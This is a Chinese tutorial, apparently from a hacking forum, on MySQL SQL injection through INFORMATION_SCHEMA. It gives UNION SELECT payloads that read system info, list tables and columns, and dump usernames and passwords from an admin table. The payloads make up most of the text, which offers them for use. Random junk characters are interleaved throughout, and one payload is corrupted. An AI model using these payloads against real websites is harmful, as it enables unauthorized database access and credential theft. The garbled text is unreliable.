本文介绍MYSQL盲注的一些语句和方法! P7 G$ M3 y2 i
9 @- b0 L. E, h* a9 Y% w学习盲注前先了解下 IFORMATION_SCHEMA 库
u) L8 v4 {- f! e, I! n
) \; X8 E- v" Y5 ^* H: x$ f+ JMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有8 \/ D0 T' n0 ~6 x, M
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
3 S D$ L9 q' b; P0 J- ~1.得到所有数据库名:
! Z; v6 q8 }; Z7 b+ v# i3 P# j|SCHEMATA ->存储数据库名的表
- g" _9 h+ j$ O5 k* R|---字段:SCHEMA_NAME ->数据库名称
1 q4 V5 U9 J" b0 n5 q4 e Q& ?7 R6 c! ]( O5 ^8 Y$ C
|TABLES ->存储表名9 L C1 h$ {. v3 T& f& v
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名% z) W. \7 ~1 t& A* h( G0 P; r: b8 }
|---字段:TABLE_NAME ->存储表的表名
4 |6 C( M4 }# p+ U- m) X1 N# w5 A6 {5 n! o% H
|COLUMNS ->存储的字段名表8 D- r# [8 \# ^
|---字段:TABLE_SCHEMA ->该字段所属数据库名* w- T4 t$ c8 b3 }8 G3 x
|---字段:TABLE_NAME ->存储所属表的名称
: ?; L( I9 a5 T) u: F3 d( J( R& G; {* Y6 B! H" w/ [7 w( f
|---字段:COLUMN_NAME ->该字段的名称
9 M6 Y! i/ E7 [" ]+ U; B. q2 N1 c X* f5 s7 Z* D+ b
# B3 U0 o3 D) Z1 V( n$ a, i
# e: M! Y) S# A4 F
###########################################################################; V( h& ?, y) a1 ]1 c# h
! D1 T5 `5 H+ E! u) h9 f9 E* R
0x001 获取系统信息:
. o: H. s) c, y- r# V3 R: R
+ {" ^/ R3 Q F. eunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*% v# V& \3 f- x k1 _( R7 ?4 ]
7 p. M$ Z# ], V ^
/*
, o+ K2 _/ z D( d, g) V: r" B: C5 |6 U+ C6 E) `
@@global.version_compile_os 获取系统版本' ]5 @/ `. Z: l9 Z7 G8 a5 k
! a; f, s% n4 R) q3 M
@@datadir 数据库路径+ t v! s1 f+ N% S0 e B
database() 当前数据库名称
8 Q: G; M2 c2 {% k7 u0 M0x3c62723e 换行HEX值
2 O" B, y; p# H3 h& m" A' A4 [8 h+ z6 p4 C* O& Y. v
*/6 x W" G; |8 o: W$ ]) j- d
! h/ E/ ]* Q: P* `3 x- \8 s
5 n+ Z* [' K# m
2 T" `7 Z4 Y' I {8 N, f######################################################################+ G/ D' B( _1 e3 y) K" [+ b& D5 f
3 V$ c& a$ G& l" E H i
0x002 获取表名
$ |, \% Y! y* z( o6 ~9 ~, o3 W
1 r+ T9 p: z( M2 m* P* S: `( b: eunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
0 C. b' z/ [6 i6 { ~, L4 p# p! H) p+ s+ w6 O- I
* Y) ^. R+ H' a4 w
' r$ X, E1 @% o/*, s* _- D0 X, ~8 t- L
' M: j2 A& ~ \8 {0x67617264656e 为当前数据库名; ^9 L! \ ` C4 a2 g- ]4 L1 k- t
( |5 U) Z2 h; {; K: a4 b$ X$ ?group_concat(table_name) 使用group_concat函数 一步获得该库所有表名$ L. c' W6 ^* R+ ^' R) N* Z: Y
, W7 B/ a [7 p# F3 o
*/: R4 _8 i z- K$ M5 ^( s# A
9 G2 R. m$ x& d2 }; T0 F8 N& W######################################################################, ~2 J" H- r0 ^8 I! ]8 s
0 H+ f7 _5 C; [8 f; R4 B
- ~( ], H" Y2 j4 \) \- P, U$ r8 T5 x3 w: e
0x003 获取字段8 b# X4 l! k y# O
P+ y, Q2 P3 J* M6 t
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
; s1 |3 q( b! h, D2 @- a( v4 E
W% P' n4 j( v/*
8 f4 y! q' M& U1 q7 {9 M# o& R
) ]0 z! z1 l! ^8 o+ Xgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段, ]3 P/ m+ G7 [" `3 R
2 O9 n5 y% _: d; F6 O0x61646d696e ->选择一个表: v. |8 a8 m( Q) y( C
5 ? s( A" G. s! n0x67617264656e ->数据库名: S' ~9 i3 |- S% k9 `
( n: l2 V! u* |4 I) E% d7 F1 l+ X
*/
2 ?9 M7 Q2 M3 e# V# g5 G7 f' I
0 x8 l2 b# @5 Q" z#####################################################################1 z R9 a5 K, s7 i7 v- j- u
9 e# y" I! Y L! b' `1 Q ) @3 ^% _ S: g3 W9 { a
, F4 Q8 [: S$ `3 H. O0x004 获取数据
# [ ^0 ]) E! H. u, D. X7 {, I! b6 o) p4 t, g) y
union select 1,2,3. ]% e9 Q# ?& K c0 U
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
1 H2 {* z! {, n( ^6 B, ^6 |6 N5 W! p3 P
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin; ^. z, Y6 J2 L0 a. o( I6 s1 W4 r
2 W: s& _4 L" i 5 W& L7 T- n5 K* z4 I7 \# h+ M( R
- c3 F3 E" T5 z! N! Q0 ^# I
/* s+ q+ e" E) G" u% g
! _5 V* Y8 k! C6 c: k
0x3c62723e 换行符号HEX编码7 F9 {- E2 B6 J- J* V
0 h* s5 N1 G) p- zgroup_concat 同时获得该字段所有数据$ W; {' Z: ^- ~
0 Z8 x" h* |7 L*/, \1 Y. X. R0 D
D, S1 e$ K! f# a k |